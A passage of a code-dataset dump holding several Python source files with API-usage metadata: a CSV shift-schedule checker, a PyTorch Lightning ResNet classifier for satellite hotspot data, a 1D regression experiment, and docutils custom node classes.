"tensorflow.io.FixedLenFeature", "line_number": 96, "usage_type": "call"}, {"api_name": "tensorflow.io", "line_number": 96, "usage_type": "attribute"}, {"api_name": "tensorflow.string", "line_number": 96, "usage_type": "attribute"}, {"api_name": "tensorflow.io.FixedLenFeature", "line_number": 97, "usage_type": "call"}, {"api_name": "tensorflow.io", "line_number": 97, "usage_type": "attribute"}, {"api_name": "tensorflow.string", "line_number": 97, "usage_type": "attribute"}, {"api_name": "tensorflow.io.FixedLenFeature", "line_number": 98, "usage_type": "call"}, {"api_name": "tensorflow.io", "line_number": 98, "usage_type": "attribute"}, {"api_name": "tensorflow.string", "line_number": 98, "usage_type": "attribute"}, {"api_name": "tensorflow.io.parse_single_example", "line_number": 100, "usage_type": "call"}, {"api_name": "tensorflow.io", "line_number": 100, "usage_type": "attribute"}, {"api_name": "tensorflow.io.decode_raw", "line_number": 102, "usage_type": "call"}, {"api_name": "tensorflow.io", "line_number": 102, "usage_type": "attribute"}, {"api_name": "tensorflow.float32", "line_number": 102, "usage_type": "attribute"}, {"api_name": "tensorflow.io.decode_raw", "line_number": 103, "usage_type": "call"}, {"api_name": "tensorflow.io", "line_number": 103, "usage_type": "attribute"}, {"api_name": "tensorflow.float32", "line_number": 103, "usage_type": "attribute"}, {"api_name": "tensorflow.io.decode_raw", "line_number": 104, "usage_type": "call"}, {"api_name": "tensorflow.io", "line_number": 104, "usage_type": "attribute"}, {"api_name": "tensorflow.int32", "line_number": 104, "usage_type": "attribute"}, {"api_name": "tensorflow.io.decode_raw", "line_number": 105, "usage_type": "call"}, {"api_name": "tensorflow.io", "line_number": 105, "usage_type": "attribute"}, {"api_name": "tensorflow.int32", "line_number": 105, "usage_type": "attribute"}, {"api_name": "tensorflow.reshape", "line_number": 107, "usage_type": "call"}, {"api_name": "tensorflow.reshape", "line_number": 108, "usage_type": "call"}, {"api_name": "tensorflow.reshape", "line_number": 109, "usage_type": "call"}, {"api_name": "tensorflow.reshape", "line_number": 110, "usage_type": "call"}, {"api_name": "tensorflow.concat", "line_number": 112, "usage_type": "call"}, {"api_name": "tensorflow.shape", "line_number": 115, "usage_type": "call"}, {"api_name": "tensorflow.Module", "line_number": 120, "usage_type": "attribute"}, {"api_name": "tensorflow.zeros", "line_number": 139, "usage_type": "call"}, {"api_name": "tensorflow.concat", "line_number": 143, "usage_type": "call"}, {"api_name": "picasso.mesh.utils.voxelize_mesh", "line_number": 150, "usage_type": "call"}, {"api_name": "picasso.mesh.utils", "line_number": 150, "usage_type": "name"}, {"api_name": "tensorflow.concat", "line_number": 154, "usage_type": "call"}, {"api_name": "tensorflow.gather", "line_number": 154, "usage_type": "call"}, {"api_name": "tensorflow.gather", "line_number": 155, "usage_type": "call"}, {"api_name": "tensorflow.gather", "line_number": 156, "usage_type": "call"}, {"api_name": "tensorflow.reshape", "line_number": 157, "usage_type": "call"}, {"api_name": "tensorflow.tile", "line_number": 158, "usage_type": "call"}, {"api_name": "tensorflow.eye", "line_number": 158, "usage_type": "call"}, {"api_name": "tensorflow.ones", "line_number": 159, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 159, "usage_type": "attribute"}, {"api_name": "tensorflow.shape", "line_number": 161, "usage_type": "call"}, {"api_name": "tensorflow.gather", "line_number": 172, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 175, "usage_type": "call"}, {"api_name": "os.path", "line_number": 175, "usage_type": "attribute"}, {"api_name": "tensorflow.math.argmax", "line_number": 179, "usage_type": "call"}, {"api_name": "tensorflow.math", "line_number": 179, "usage_type": "attribute"}, {"api_name": "numpy.ones_like", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.ones_like", "line_number": 182, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 183, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 187, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 188, "usage_type": "call"}, {"api_name": "tensorflow.where", "line_number": 190, "usage_type": "call"}, {"api_name": "tensorflow.gather_nd", "line_number": 191, "usage_type": "call"}, {"api_name": "tensorflow.math.argmax", "line_number": 192, "usage_type": "call"}, {"api_name": "tensorflow.math", "line_number": 192, "usage_type": "attribute"}, {"api_name": "tensorflow.gather_nd", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 196, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 197, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 198, "usage_type": "call"}, {"api_name": "numpy.finfo", "line_number": 203, "usage_type": "call"}, {"api_name": "numpy.finfo", "line_number": 204, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 211, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 214, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 220, "usage_type": "call"}, {"api_name": "os.path", "line_number": 220, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 224, "usage_type": "call"}, {"api_name": "time.time", "line_number": 226, "usage_type": "call"}, {"api_name": "picasso.mesh.dataset.Dataset", "line_number": 231, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 231, "usage_type": "call"}, {"api_name": "picasso.mesh.dataset.Dataset", "line_number": 232, "usage_type": "call"}, {"api_name": "tensorflow.constant", "line_number": 232, "usage_type": "call"}, {"api_name": "picasso.models.scene_seg_texture.PicassoNetII", "line_number": 235, "usage_type": "call"}, {"api_name": "tensorflow.train.Checkpoint", "line_number": 241, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 241, "usage_type": "attribute"}, {"api_name": "tensorflow.Variable", "line_number": 241, "usage_type": "call"}, {"api_name": "tensorflow.train.CheckpointManager", "line_number": 244, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 244, "usage_type": "attribute"}]}
{"seq_id": "14874569774", "text": "from typing import List\nfrom modules.data_extractor import DataExtractor\nfrom modules.entities.constants import DAYS\nfrom modules.util import check_repetitions, build_error_message\nfrom modules.widgets import g_constants as g_const\n\nclass CheckCsv:\n  def __init__(self, document_name= None):\n    self.set_document(document_name)\n  \n  def set_document(self, document_name):\n    self.document_name = document_name\n    self.extractor = DataExtractor(document_name)\n  \n  def __check_day(self, day: str)-> List:\n    warnings = []\n    \n    morning_employees = self.extractor.get_employeeList(day=day, shift=\"morning\")\n    afternoon_employees = self.extractor.get_employeeList(day=day, shift=\"afternoon\")\n    employees = morning_employees + afternoon_employees\n    return [build_error_message(employee_array, day)\n            for employee_array in check_repetitions(employees)], warnings\n\n\n  def check_file(self):\n    if not self.document_name:\n      return [f\"<font color={g_const.error_color}>Caricare il documento prima di avviare</font>\"], []\n    \n    errors = []\n    warnings = []\n    \n    for day in DAYS.keys():\n      day_errors, day_warnings = self.__check_day(day)\n      errors.extend(day_errors)\n      warnings.extend(day_warnings)\n    \n    return errors, warnings\n      ", "repo_name": "aka-somix/controllo-programmazione-settimanale", "sub_path": "modules/csv_check.py", "file_name": "csv_check.py", "file_ext": "py", "file_size_in_byte": 1274, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "modules.data_extractor.DataExtractor", "line_number": 13, "usage_type": "call"}, {"api_name": "modules.util.build_error_message", "line_number": 21, "usage_type": "call"}, {"api_name": "modules.util.check_repetitions", "line_number": 22, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 15, "usage_type": "name"}, {"api_name": "modules.widgets.g_constants.error_color", "line_number": 27, "usage_type": "attribute"}, {"api_name": "modules.widgets.g_constants", "line_number": 27, "usage_type": "name"}, {"api_name": "modules.entities.constants.DAYS.keys", "line_number": 32, "usage_type": "call"}, {"api_name": "modules.entities.constants.DAYS", "line_number": 32, "usage_type": "name"}]}
{"seq_id": "25373798204", "text": "from typing import Callable, List, Optional, Type, Union\nimport warnings\n\nimport torch\n\nwarnings.filterwarnings(\"ignore\")\n\nimport pytorch_lightning as pl\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch import sigmoid\nimport torchvision.models as models\nfrom torch.optim import SGD, Adam, AdamW\nfrom torch.optim.lr_scheduler import CosineAnnealingLR, CosineAnnealingWarmRestarts, StepLR, ReduceLROnPlateau\nfrom torch.utils.data import DataLoader\nfrom torchmetrics import Accuracy\nfrom torchvision import transforms\nfrom torchvision.datasets import ImageFolder\nfrom torchmetrics.classification import BinaryF1Score\nfrom dataset import HotspotSatelliteDataset\nfrom torchvision.models.resnet import BasicBlock, Bottleneck, ResNet\nfrom torchvision.ops import MLP\n\n# Here we define a new class to turn the ResNet model that we want to use as a feature extractor\n# into a pytorch-lightning module so that we can take advantage of lightning's Trainer object.\n# We aim to make it a little more general by allowing users to define the number of prediction classes.\nclass ResNetClassifier(pl.LightningModule):\n    resnets = {\n        18: models.resnet18,\n        34: models.resnet34,\n        50: models.resnet50,\n        101: models.resnet101,\n        152: models.resnet152,\n    }\n    optimizers = {\"adam\": Adam, \"AdamW\": AdamW, \"sgd\": SGD}\n    schedulers = {\"cos\": CosineAnnealingLR, \"cosWR\": CosineAnnealingWarmRestarts, \"step\": StepLR, \"plateau\": ReduceLROnPlateau}\n\n    def __init__(\n        self,\n        num_classes,\n        resnet_version,\n        train_paths: list,\n        val_paths: list,\n        test_paths=None,\n        optimizer=\"adam\",\n        scheduler=\"plateau\",\n        lr=1e-3,\n        batch_size=16,\n        transfer=False,\n        tune_fc_only=False,\n        include_lc = True,\n        crop_size = 32,\n        num_channels=32,\n        external_features_as_channels=False,\n        num_workers = 1,\n        use_mlp = False,\n        class_weight = 1.0,\n        return_logits=False\n    ):\n        super().__init__()\n\n        self.num_classes = num_classes\n        self.train_paths = train_paths\n        self.val_paths = val_paths\n        self.test_paths = test_paths\n        self.lr = lr\n        self.batch_size = batch_size\n        self.class_weights = torch.tensor([class_weight])\n        self.include_lc = include_lc\n        self.crop_size = crop_size\n        self.optimizer = self.optimizers[optimizer]\n        self.scheduler = self.schedulers[scheduler]\n        self.num_workers = num_workers\n        self.external_features_as_channels = external_features_as_channels\n        self.use_mlp = use_mlp\n        \n        if scheduler == \"step\":\n            self.scheduler_params = {\n                \"step_size\" : 10,\n                \"gamma\" : 0.1,\n                \"last_epoch\": - 1,\n                \"verbose\": False\n            }\n            \n        elif scheduler == \"cos\":\n            self.scheduler_params = {\n                \"T_max\":100000,\n                \"eta_min\": 0,\n                \"last_epoch\": -1,\n                \"verbose\": False\n            }\n        elif scheduler == \"cosWR\":\n            self.scheduler_params = {\n                \"T_0\" : 50000,\n                \"T_mult\": 1,\n                \"eta_min\": 0,\n                \"last_epoch\": - 1,\n                \"verbose\": False\n            }\n        elif scheduler == \"plateau\":\n            self.scheduler_params = dict(\n                mode='min', \n                factor=0.1,\n                patience=10, \n                threshold=0.0001, \n                threshold_mode='rel', \n                cooldown=0, \n                min_lr=0, \n                eps=1e-08, \n                verbose=False\n            )\n        else:\n            self.scheduler = None\n            self.scheduler_params = None\n\n        # instantiate loss criterion\n        self.loss_fn = (\n            nn.BCEWithLogitsLoss(pos_weight=self.class_weights) if num_classes == 1 else nn.CrossEntropyLoss()\n        )\n        # create accuracy metric\n        self.acc = Accuracy(\n            task=\"binary\" if num_classes == 1 else \"multiclass\", num_classes=num_classes\n        )\n        self.f1 = BinaryF1Score()\n        # Using a pretrained ResNet backbone\n        self.resnet_model = self.resnets[resnet_version](pretrained=transfer)\n        # Replace old FC layer with Identity so we can train our own\n        linear_size = list(self.resnet_model.children())[-1].in_features\n        # replace final layer for fine tuning\n        self.resnet_model.fc = nn.Linear(linear_size, num_classes)\n        \n        self.NUM_CHANNELS = num_channels\n        if include_lc:\n            self.NUM_CHANNELS +=1\n\n        self.resnet_model.conv1 = nn.Conv2d(self.NUM_CHANNELS, 64, kernel_size=7, stride=2, padding=3, bias=False)\n\n        if self.use_mlp:\n            self.mlp = MLP(512, hidden_channels=[256,128,1])\n            # add new_forward function to the resnet instance as a class method\n            bound_method = self.__resnet_end_to_end_forward.__get__(self.resnet_model, self.resnet_model.__class__)\n            setattr(self.resnet_model, 'forward', bound_method)\n\n        if return_logits:\n            bound_method = self.__resnet_end_to_end_forward.__get__(self.resnet_model, self.resnet_model.__class__)\n            setattr(self.resnet_model, 'forward', bound_method)\n        if tune_fc_only:  # option to only tune the fully-connected layers\n            for child in list(self.resnet_model.children())[:-1]:\n                for param in child.parameters():\n                    param.requires_grad = False\n\n    @staticmethod\n    def __resnet_end_to_end_forward(self, x):\n        x = self.conv1(x)\n        x = self.bn1(x)\n        x = self.relu(x)\n        x = self.maxpool(x)\n\n        x = self.layer1(x)\n        x = self.layer2(x)\n        x = self.layer3(x)\n        x = self.layer4(x)\n\n        x = self.avgpool(x)\n        x = torch.flatten(x, 1)\n\n        return x\n\n\n    def forward(self, X):\n        x = self.resnet_model(X)\n        if self.use_mlp:\n            x = self.mlp(x)\n        return x\n\n    def configure_optimizers(self):\n        opt = self.optimizer(self.parameters(), lr=self.lr)\n\n        if self.scheduler is None:\n            return opt\n        \n        if self.scheduler == \"plateau\":\n            metric = \"train_loss\"\n        else:\n            metric = \"val_loss\"\n\n        sch = self.scheduler(opt, **self.scheduler_params)\n        return {\"optimizer\": opt , \n                \"lr_scheduler\": {\n                    \"scheduler\": sch,\n                    \"monitor\": metric\n                }}\n\n    def _step(self, batch):\n\n        x = batch['img']\n        y = batch['label']\n\n        preds = self(x)\n\n        if self.num_classes == 1:\n            preds = preds.flatten()\n            y = y.float()\n\n        loss = self.loss_fn(preds, y)\n\n        acc = self.acc((sigmoid(preds) > 0.5).long(), y)\n        f1 = self.f1((sigmoid(preds) > 0.5).long(), y)\n        return loss, acc, f1\n\n    def _dataloader(self, data_path, shuffle=False):\n        # values here are specific to pneumonia dataset and should be updated for custom data\n        # transform = transforms.Compose(\n        #     [\n        #         transforms.Resize((500, 500)),\n        #         transforms.ToTensor(),\n        #         transforms.Normalize((0.48232,), (0.23051,)),\n        #     ]\n        # )\n\n        # img_folder = ImageFolder(data_path, transform=transform)\n        dataset = HotspotSatelliteDataset(catalogs=data_path, include_lc=self.include_lc, external_features_as_channels=self.external_features_as_channels, crop_size=self.crop_size)  \n        \n\n        # \n        if self.batch_size > len(dataset):\n            return DataLoader(dataset, batch_size=len(dataset), shuffle=shuffle, drop_last=True, num_workers=self.num_workers), len(dataset)\n        return DataLoader(dataset, batch_size=self.batch_size, shuffle=shuffle, drop_last=True, num_workers=self.num_workers), len(dataset)\n\n    def train_dataloader(self):\n        dl, size = self._dataloader(self.train_paths, shuffle=True)\n        print(f\"TRAIN DATASET: Loaded {size} samples\")\n        return dl\n\n    def training_step(self, batch, batch_idx):\n\n        loss, acc, f1 = self._step(batch)\n        # perform logging\n        self.log(\n            \"train_loss\", loss, on_step=True, on_epoch=True, prog_bar=True, logger=True\n        )\n        self.log(\n            \"train_acc\", acc, on_step=True, on_epoch=True, prog_bar=True, logger=True\n        )\n        self.log(\n            \"train_f1\", f1, on_step=True, on_epoch=True, prog_bar=True, logger=True\n        )\n        return loss\n\n    def val_dataloader(self):\n        dl, size = self._dataloader(self.val_paths)\n        print(f\"TRAIN DATASET: Loaded {size} samples\")\n        return dl\n\n    def validation_step(self, batch, batch_idx):\n        loss, acc, f1 = self._step(batch)\n        # perform logging\n        self.log(\"val_loss\", loss, on_epoch=True, prog_bar=False, logger=True)\n        self.log(\"val_acc\", acc, on_epoch=True, prog_bar=True, logger=True)\n        self.log(\"val_f1\", f1, on_epoch=True, prog_bar=True, logger=True)\n\n    def test_dataloader(self):\n        dl, size = self._dataloader(self.test_paths)\n        print(f\"TRAIN DATASET: Loaded {size} samples\")\n        return dl\n\n    def test_step(self, batch, batch_idx):\n        loss, acc, f1 = self._step(batch)\n        # perform logging\n        self.log(\"test_loss\", loss, on_step=True, prog_bar=True, logger=True)\n        self.log(\"test_acc\", acc, on_step=True, prog_bar=True, logger=True)\n        self.log(\"test_f1\", f1, on_step=True, prog_bar=True, logger=True)\n\n\n# class KFoldTrainingPool(FitLoop):\n\n#     def __init__(self, split_dataloaders:list):\n#         super(FitLoop).__init__()\n#         self.split_dataloaders = split_dataloaders\n\n#     def run(self, dataloader):\n#         for k in range(len(self.split_dataloaders)):\n#             test_dl = k\n#             train_dl = [i for i in range(len(self.split_dataloaders)) if i != k]\n#             for d in train_dl:\n#                 for i, batch in enumerate(self.split_dataloaders[d]):\n#                     self.advance(batch, i)\n#             # test iteration\n#             for i, batch in enumerate(self.split_dataloaders[test_dl]):\n#                 self.advance(batch, i)\n\n\n\n\nclass ResNetClassifierE2E(ResNetClassifier):\n    def __init__(self, \n                 num_classes, \n                 resnet_version, \n                 train_paths: list, \n                 val_paths: list, \n                 test_paths=None, \n                 optimizer=\"adam\", \n                 scheduler=\"plateau\", \n                 lr=0.001, \n                 batch_size=16, \n                 transfer=False, \n                 tune_fc_only=False, \n                 include_lc=True, \n                 crop_size=32,\n                 num_channels=32,\n                 external_features_as_channels=False,\n                 num_workers = 1,\n                 external_features = 13,\n                 class_weight = 1.0):\n        super().__init__(num_classes, resnet_version, train_paths, val_paths, test_paths, optimizer, scheduler, lr, batch_size, transfer, tune_fc_only, include_lc, crop_size, num_channels, external_features_as_channels, num_workers, class_weight=class_weight)\n\n        \n        # add new_forward function to the resnet instance as a class method\n        bound_method = self.__resnet_end_to_end_forward.__get__(self.resnet_model, self.resnet_model.__class__)\n        setattr(self.resnet_model, 'forward', bound_method)\n\n        # add a fully connected layer compatible with the new features\n        linear_size = list(self.resnet_model.children())[-1].in_features + external_features\n        # replace final layer for fine tuning\n        self.resnet_model.fc = nn.Linear(linear_size, num_classes)\n        self.BN = torch.nn.BatchNorm1d(linear_size)\n        self.mlp = MLP(in_channels=linear_size, hidden_channels=[256, 128, 1])\n\n    \n    @staticmethod\n    def __resnet_end_to_end_forward(self, x):\n        x = self.conv1(x)\n        x = self.bn1(x)\n        x = self.relu(x)\n        x = self.maxpool(x)\n\n        x = self.layer1(x)\n        x = self.layer2(x)\n        x = self.layer3(x)\n        x = self.layer4(x)\n\n        x = self.avgpool(x)\n        x = torch.flatten(x, 1)\n        # concatenate x and f\n        # x = torch.concatenate((x,f), axis=-1)\n        # x = self.fc(x)\n\n        return x\n\n    def _dataloader(self, data_path, shuffle=False):\n        # values here are specific to pneumonia dataset and should be updated for custom data\n        # transform = transforms.Compose(\n        #     [\n        #         transforms.Resize((500, 500)),\n        #         transforms.ToTensor(),\n        #         transforms.Normalize((0.48232,), (0.23051,)),\n        #     ]\n        # )\n\n        # img_folder = ImageFolder(data_path, transform=transform)\n        dataset = HotspotSatelliteDataset(catalogs=data_path, include_lc=self.include_lc, external_features=True)\n        if self.batch_size > len(dataset):\n            return DataLoader(dataset, batch_size=len(dataset), shuffle=shuffle, drop_last=True, num_workers=self.num_workers), len(dataset)\n        return DataLoader(dataset, batch_size=self.batch_size, shuffle=shuffle, drop_last=True, num_workers=self.num_workers), len(dataset)\n\n    def forward(self, X, F):\n        x = self.resnet_model(X)\n        x = torch.concatenate((x,F), axis=-1)\n        x = self.BN(x)\n        x = self.mlp(x)\n        return x\n\n\n    def _step(self, batch):\n        \n        x = batch['img']\n        f = batch['feat']\n        y = batch['label']\n\n        preds = self(x, f)\n\n        if self.num_classes == 1:\n            preds = preds.flatten()\n            y = y.float()\n\n        loss = self.loss_fn(preds, y)\n\n        acc = self.acc((sigmoid(preds) > 0.5).long(), y)\n        f1 = self.f1((sigmoid(preds) > 0.5).long(), y)\n        return loss, acc, f1\n\n\n\n\n", "repo_name": "links-ads/hotspot-disambiguation", "sub_path": "cnn/cnn/resnet.py", "file_name": "resnet.py", "file_ext": "py", "file_size_in_byte": 13851, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "warnings.filterwarnings", "line_number": 6, "usage_type": "call"}, {"api_name": "pytorch_lightning.LightningModule", "line_number": 27, "usage_type": "attribute"}, {"api_name": "torchvision.models.resnet18", "line_number": 29, "usage_type": "attribute"}, {"api_name": "torchvision.models", "line_number": 29, "usage_type": "name"}, {"api_name": "torchvision.models.resnet34", "line_number": 30, "usage_type": "attribute"}, {"api_name": "torchvision.models", "line_number": 30, "usage_type": "name"}, {"api_name": "torchvision.models.resnet50", "line_number": 31, "usage_type": "attribute"}, {"api_name": "torchvision.models", "line_number": 31, "usage_type": "name"}, {"api_name": "torchvision.models.resnet101", "line_number": 32, "usage_type": "attribute"}, {"api_name": "torchvision.models", "line_number": 32, "usage_type": "name"}, {"api_name": "torchvision.models.resnet152", "line_number": 33, "usage_type": "attribute"}, {"api_name": "torchvision.models", "line_number": 33, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 35, "usage_type": "name"}, {"api_name": "torch.optim.AdamW", "line_number": 35, "usage_type": "name"}, {"api_name": "torch.optim.SGD", "line_number": 35, "usage_type": "name"}, {"api_name": "torch.optim.lr_scheduler.CosineAnnealingLR", "line_number": 36, "usage_type": "name"}, {"api_name": "torch.optim.lr_scheduler.CosineAnnealingWarmRestarts", "line_number": 36, "usage_type": "name"}, {"api_name": "torch.optim.lr_scheduler.StepLR", "line_number": 36, "usage_type": "name"}, {"api_name": "torch.optim.lr_scheduler.ReduceLROnPlateau", "line_number": 36, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.nn.BCEWithLogitsLoss", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 118, "usage_type": "name"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 118, "usage_type": "call"}, {"api_name": "torchmetrics.Accuracy", "line_number": 121, "usage_type": "call"}, {"api_name": "torchmetrics.classification.BinaryF1Score", "line_number": 124, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 130, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 130, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 136, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 136, "usage_type": "name"}, {"api_name": "torchvision.ops.MLP", "line_number": 139, "usage_type": "call"}, {"api_name": "torch.flatten", "line_number": 165, "usage_type": "call"}, {"api_name": "torch.sigmoid", "line_number": 207, "usage_type": "call"}, {"api_name": "torch.sigmoid", "line_number": 208, "usage_type": "call"}, {"api_name": "dataset.HotspotSatelliteDataset", "line_number": 222, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 227, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 228, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 325, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 325, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 326, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 326, "usage_type": "attribute"}, {"api_name": "torchvision.ops.MLP", "line_number": 327, "usage_type": "call"}, {"api_name": "torch.flatten", "line_number": 343, "usage_type": "call"}, {"api_name": "dataset.HotspotSatelliteDataset", "line_number": 361, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 363, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 364, "usage_type": "call"}, {"api_name": "torch.concatenate", "line_number": 368, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 368, "usage_type": "name"}, {"api_name": "torch.sigmoid", "line_number": 388, "usage_type": "call"}, {"api_name": "torch.sigmoid", "line_number": 389, "usage_type": "call"}]}
{"seq_id": "10371367034", "text": "import torch\n\nfrom configs.experiment_config import FNNConfig as experiment_config\nfrom experiments.deep_experiment import DeepExperiment\n\n\n# Regression task of one-dimensional data\nclass D_1_2_1_Experiment(DeepExperiment):\n    def __init__(self):\n        super(D_1_2_1_Experiment, self).__init__()\n\n    def before_test(self):\n        super(D_1_2_1_Experiment, self).before_test()\n        self.logger.info(\"=\" * 10 + \"test start\" + \"=\" * 10)\n        for i, (data, gt) in enumerate(self.test_loader):\n            self.test_one_batch(data, gt, \"float\")\n        self.logger.info(\"=\" * 10 + \"testing end\" + \"=\" * 10)\n\n    def test_one_batch(self, data, gt, data_type=None):\n        data = self.prepare_data(data, data_type)\n        gt = self.prepare_data(gt, data_type)\n        self.optimizer.zero_grad()\n        out = self.net_structure(data)\n        loss = self.loss_function(out, gt)\n        self.logger.info(\"One Batch:test_loss is {}\".format(loss))\n\n    def train_one_epoch(self, epoch):\n        train_loss = 0\n        self.net_structure.train()\n\n        for sample, label in self.train_loader:\n            sample = self.prepare_data(sample, 'float')\n            label = self.prepare_data(label, 'float')\n\n            self.optimizer.zero_grad()\n            out = self.net_structure(sample)\n            loss = self.loss_function(out, label)\n            loss.backward()\n            self.optimizer.step()\n            train_loss += loss.data\n        train_loss = train_loss / len(self.train_loader)\n        self.logger.info(\"EPOCH:{}\\t train_loss:{:.6f}\\t\".format(epoch, train_loss))\n        self.scheduler.step()\n        return train_loss\n\n    def valid_one_epoch(self, epoch):\n        self.net_structure.eval()\n        with torch.no_grad():\n            valid_loss = 0\n            for data, label in self.valid_loader:\n                data = self.prepare_data(data, 'float')\n                label = self.prepare_data(label, 'float')\n                self.net_structure.zero_grad()\n                predict = self.net_structure(data)\n                valid_loss += self.loss_function(predict, label)\n            valid_loss /= len(self.valid_loader)\n            self.logger.info(\"Epoch:{}\\t valid_loss:{:.6f}\".format(epoch, valid_loss))\n\n        return valid_loss\n", "repo_name": "strawsyz/straw", "sub_path": "EasyDeep/examples/1d_data_example.py", "file_name": "1d_data_example.py", "file_ext": "py", "file_size_in_byte": 2257, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "experiments.deep_experiment.DeepExperiment", "line_number": 8, "usage_type": "name"}, {"api_name": "torch.no_grad", "line_number": 48, "usage_type": "call"}]}
{"seq_id": "12969465878", "text": "import docutils.nodes as nodes\n\n\nclass inlinetext(nodes.Inline, nodes.Element):\n    def __init__(self, text, rawsource='', *children, **attributes):\n        textnode = nodes.Text('{}'.format(text))\n        nodes.Element.__init__(self, rawsource, textnode, *children, **attributes)\n\n\nclass input(nodes.Inline, nodes.Element):\n    def __init__(self, value, rawsource='', *children, **attributes):\n        textnode = nodes.Text('{}'.format(value))\n        nodes.Element.__init__(self, rawsource, textnode, *children, **attributes)\n        self.value = value\n\n\nclass vector(nodes.Inline, nodes.Element):\n    def __init__(self, x, y, z, inline=False, rawsource='', *children, **attributes):\n        nodes.Element.__init__(self, rawsource, input(x), input(y), input(z))\n        self.inline = inline\n\n\nclass youtube(nodes.Inline, nodes.Element):\n    def __init__(self, link, title, description='', rawsource='', *children, **attributes):\n        from docutils.nodes import Text\n        nodes.Element.__init__(self, rawsource)\n        self.attributes['link'] = link\n        self.attributes['title'] = title\n        self.append(Text(description))\n\n\nclass note(nodes.Element):\n    def __init__(self, title, content='', rawsource='', *children, **attributes):\n        nodes.Element.__init__(self, rawsource, *children, **attributes)\n        self.attributes['title'] = title\n        self.text = content\n        # from docutils.nodes import Text\n        # self.append(Text('\\n'.join(content)))\n\n\nclass number(nodes.Inline, nodes.Element):\n    def __init__(self, value, rawsource='', *children, **attributes):\n        nodes.Element.__init__(self, rawsource)\n        self.number = int(value)\n", "repo_name": "wgryglas/pelicanReDoc", "sub_path": "plugins/nodes.py", "file_name": "nodes.py", "file_ext": "py", "file_size_in_byte": 1677, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "docutils.nodes.Inline", "line_number": 4, "usage_type": "attribute"}, {"api_name": "docutils.nodes", "line_number": 4, "usage_type": "name"}, {"api_name": "docutils.nodes.Element", "line_number": 4, "usage_type": "attribute"}, {"api_name": "docutils.nodes.Text", "line_number": 6, "usage_type": "call"}, {"api_name": "docutils.nodes", "line_number": 6, "usage_type": "name"}, {"api_name": "docutils.nodes.Element.__init__", "line_number": 7, "usage_type": "call"}, {"api_name": "docutils.nodes.Element", "line_number": 7, "usage_type": "attribute"}, {"api_name": "docutils.nodes", "line_number": 7, "usage_type": "name"}, {"api_name": "docutils.nodes.Inline", "line_number": 10, "usage_type": "attribute"}, {"api_name": "docutils.nodes", "line_number": 10, "usage_type": "name"}, {"api_name": "docutils.nodes.Element", "line_number": 10, "usage_type": "attribute"}, {"api_name": "docutils.nodes.Text", "line_number": 12, "usage_type": "call"}, {"api_name": "docutils.nodes", "line_number": 12, "usage_type": "name"}, {"api_name": "docutils.nodes.Element.__init__", "line_number": 13, "usage_type": "call"}, {"api_name": "docutils.nodes.Element", "line_number": 13, "usage_type": "attribute"}, {"api_name": "docutils.nodes", "line_number": 13, "usage_type": "name"}, {"api_name": "docutils.nodes.Inline", "line_number": 17, "usage_type": "attribute"}, {"api_name": "docutils.nodes", "line_number": 17, "usage_type": "name"}, {"api_name": "docutils.nodes.Element", "line_number": 17, "usage_type": "attribute"}, {"api_name": "docutils.nodes.Element.__init__", "line_number": 19, "usage_type": "call"}, {"api_name": "docutils.nodes.Element", "line_number": 19, "usage_type": "attribute"}, {"api_name": "docutils.nodes", "line_number": 19, "usage_type": "name"}, {"api_name": "docutils.nodes.Inline", "line_number": 23, "usage_type": "attribute"}, {"api_name": "docutils.nodes", "line_number": 23, "usage_type": "name"}, {"api_name": "docutils.nodes.Element", "line_number": 23, "usage_type": "attribute"}, {"api_name": "docutils.nodes.Element.__init__", "line_number": 26, "usage_type": "call"}, {"api_name": "docutils.nodes.Element", "line_number": 26, "usage_type": "attribute"}, {"api_name": "docutils.nodes", "line_number": 26, "usage_type": "name"}, {"api_name": "docutils.nodes.Text", "line_number": 29, "usage_type": "call"}, {"api_name": "docutils.nodes.Element", "line_number": 32, "usage_type": "attribute"}, {"api_name": "docutils.nodes", "line_number": 32, "usage_type": "name"}, 